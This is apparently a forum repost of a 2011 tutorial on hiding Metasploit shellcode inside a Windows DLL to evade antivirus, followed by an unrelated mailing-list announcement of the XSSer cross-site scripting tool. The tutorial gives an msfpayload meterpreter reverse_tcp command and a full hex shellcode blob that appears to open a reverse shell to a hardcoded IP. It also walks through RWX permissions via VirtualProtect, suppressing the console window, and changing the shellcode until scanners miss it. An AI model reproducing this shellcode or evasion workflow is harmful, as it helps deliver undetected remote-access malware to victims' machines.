[h=2]Writing Self-modifying Code Part 1: C Hello world with RWX and in-line assembly[/h] November 21st, 2011|By: aking To follow along with this tutorial, download all source files here In the first part of this tutorial, we’ll be making a basic C scaffold and getting read, write, and execute permissions for the memory section. This way we’ll be able to have some self-modifying code in the following tutorials. We’ll begin with a hello.c, hellodll.c, hellodll.h, and makefile. Readers should be able to use an Ubuntu virtual machine and simply: apt-get install build-essential mingw32 in order to follow along. The hello.c file is a simple dll loader. The hellodll.c is a simple dll where we will insert some assembly structures or none at all to confirm our setup is working properly. We can then hook up a debugger and step through our simple example to see what changes when we modify the code. GDB is open source, freely available, cross platform, and cross architecture. In the tutorial we’ll use Immunity Debugger since it has a much cleaner and more intuitive interface. It is easily installable in wine. You need full python 2.7. If you have problems check out Google’s responses for “wine msiexec”. Let’s get started by downloading the example code and test compiling it. The video here is one chunk. That’s the beauty of pause. You can either read it all then get some clarification from the video, or exercise your right to pause. Let’s take a look at the source files: DOWNLOAD SOURCE FILES ZIP HERE If we take a look at the source files, hello.c does little more than call LoadLibrary and call the first exported function in the Dll. The reason we use this approach is that many anti-virus products won’t detect malicious code dropped inside of a Dll. They do detect some similar code when dropped directly behind a simple PE header. If the goal is going to be to write self modifying code we’re going to need to get read, write, and execute permissions. There are a lot of ways to do this. We could use any number of functions to change the permissions on a memory section or process. Let’s do this for a memory section since process wide DEP can be force enabled. The MSDN tells us that the VirtualProtect function is portable across all versions of windows and we can set permissions to whatever we want. Let’s use the raw values instead of symbolic constants to make the code more portable even if it’s a little less readable. Some example code would be: int vpretval = VirtualProtect( baseaddress, memlen, newprotect, &oldprotect); But how are we going to get the size of the code? This could be troublesome. Setting the size statically could be a bad idea. Let’s insert a marker function so we can do a little simple arithmetic and have a functional VirtualProtect call. If you want to find out if this is working you can print out some debugging information. Once you’re sure it’s working, let’s do away with that pesky console window by changing our makefile a little bit. FROM: $(CC) -o loader.exe loader.o $(DLLNAME).dll TO: $(CC) -o loader.exe -mwindows loader.o $(DLLNAME).dll Simple payloads dropped behind an executable header are pretty easily detected. This can be demonstrated by generating a malicious binary with the following command: msfpayload windows/meterpreter/reverse_tcp LPORT=443 LHOST=192.168.1.1 x>test.exe and scanning with http://www.virustotal.com. We could use an off the shelf encoder that’s built in to metasploit. Shikata is fairly effective and becomes more effective with higher iterations. Eventually the vendors will probably start detecting just the encoders though. For the purposes of this tutorial we’ll stick with Avast and AVG since they are free, and one detects some malicious shell-code when simply dropped in to a function of a Dll. So we were detected using the Metasploit built-in executable generator the vast majority of the time. Our goal is the ability to build custom APT software as a demonstration for penetration testing contracts anyway right? Now let’s take a look at our test compiled files. After entering the project directory and running make we can attach Immunity Debugger, breakpoint on our GetProcAddress call, then step in to our call eax. Now we’re in the DLL. This first part is a common preamble and will differ slightly depending on the arguments we pass in to our function. After that we can see our NOPs and return. Let’s take a look at our memory permissions to make sure our VirtualProtect call worked. I did include a debug flag detection, but it’s not in the makefile. That’s a really simple exercise to get you used to mingw32 and makefiles. Hint: -D and ifdef. This is all pretty simple. Let’s step it up a bit and drop in some shell-code. Inserting NOPs is as simple as dropping in: asm( “nop;” “nop;” ); Just repeat the “nop;” line for as many iterations as you need. Very simple. You could automate this part of the process to put in as many bytes as you need for the shellcode and drop it in directly. Of course, that would eliminate the next exercise…so let’s keep reading. Do remember that in-line assembly each line has to be quoted and end in a ;. Now that we’ve been detected by both products, let’s try putting some shellcode inside a function. A simple procedure for this is to use the common and freely available tool objdump to get the assembly back from the opcodes. We accomplish this by copying the shell-code generated by the metasploit framework into a .bin file and dumping it with objdump using the following steps. First copy all this: fce8890000006089e531d2648b52308b520c8b52148b72280f b74a2631ff31c0ac3c617c022c20c1cf0d01 c7e2f052578b52108b423c01d08b407885c0744a01d0508b48 188b582001d3e33c498b348b01d631ff31c 0acc1cf0d01c738e075f4037df83b7d2475e2588b582401d36 68b0c4b8b581c01d38b048b01d089442424 5b5b61595a51ffe0585f5a8b12eb865d683332000068777332 5f54684c772607ffd5b89001000029c4545 06829806b00ffd5505050504050405068ea0fdfe0ffd589c73 1db53680200115c89e66a10565768c2db376 7ffd5535768b7e938ffffd55353576874ec3be1ffd55789c76 8756e4d61ffd568636d640089e357575731f6 6a125956e2fd66c744243c01018d442410c600445450565656 46564e565653566879cc3f86ffd589e04e5 646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067 c0a80fbe07505bb4713726f6a0053ffd5 in to a .bin file with your hex editor of choice. Winhex is free and runs under wine. Unlike a lot of the free hex editors for linux that won’t increase the length of a file or support pasting very well, this one just works. Alternately, you could convert it to hex and write it to disk with a simple python script like so: Click here to download python/shellcodetxt2bin.py This is simpler, but all of the text representation must be on one line. If you want multiple line breaks and msfpayload .c output you need to look in to regex replacing \x, \n, and possibly \r. This is the same for ImmDbg binary copies. We have to fix up jumps in order to get this to compile since mingw32 uses labels and doesn’t recognize the offsets. So we use this command to tell objdump 1)disassemble the whole thing, 2)it’s just a raw binary file, 3)architecture, 4)assembly code format, and 5) filename. objdump -D -b binary -m i386 -M intel shellcode.bin You have to fix up the jumps from relative offsets to jump labels. If you’re exact byte-code doesn’t match, it could be the compiler using regular jumps where short jumps used to be or something very similar. See if you can do the fix-ups yourself. After fixing up the shell-code for our purposes it goes from looking something like this: Click here to download shellcodeexample/shellcodedump.txt to looking more like this:———————————————- Click to download shellcodeexample/shellcodefixup.txt Now we simply drop this shell-code in to a function and see what happens. The example code gets detected by Avast. It does not get detected by AVG. If it doesn’t get detected by either, some of your jumps got compiled a little differently. We could have shortcut this by compiling with a bunch of NOPs and dropping it in with a hex editor. That last part was a good exercise anyway. Here’s the screenshot that shows this shellcode getting detected from within a function: We’re getting Read,Write, and Execute at load time to simplify the disassembly. We’ll change that in the next tutorial when we get in to extended assembly. Let’s take a look at what happens now. We got passed most anti-virus on http://www.virustotal.com with this approach, but we want to do a little more. We need to bypass Avast. We could insert some NOPs and our jumps would adjust automatically since we’re compiling from source. In order to find out what part of the shellcode actually triggers the definition, we can do something like replacing sections of instructions with garbage and scanning a bunch of files. That doesn’t really scale though and is kind of like fuzzing the anti-virus system. That’s why we’re going to make a custom encoding and decoding section. So, hopefully you found it interesting. We’ll talk again soon. Thanks for listening. Sursa: http://resources.infosecinstitute.com/writing-self-modifying-code-part-1/

XSSer v1.6 -beta- aka "Grey Swarm!" released. From: psy <root () lordepsylon net> Date: Thu, 01 Dec 2011 00:45:12 +0100 Hi list, There is released a new version of *XSSer* (v1.6-beta-) - the cross site scripter framework. Take a look to the XSSer website to see new features implemented, screenshots, documentation, etc... http://xsser.sf.net You can download original code directly from here: http://sourceforge.net/projects/xsser/files/xsser_1.6-1.tar.gz/download Or update your copy from the XSSer svn repository: $ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser Also, you have on the main website some pre-compiled packages (ArchLinux, Debian/Ubuntu, Gentoo, etc..) "Are you ready for the Grey Swarm!?" Happy cross hacking. psy. Sursa: Full Disclosure: XSSer v1.6 -beta- aka "Grey Swarm!" released.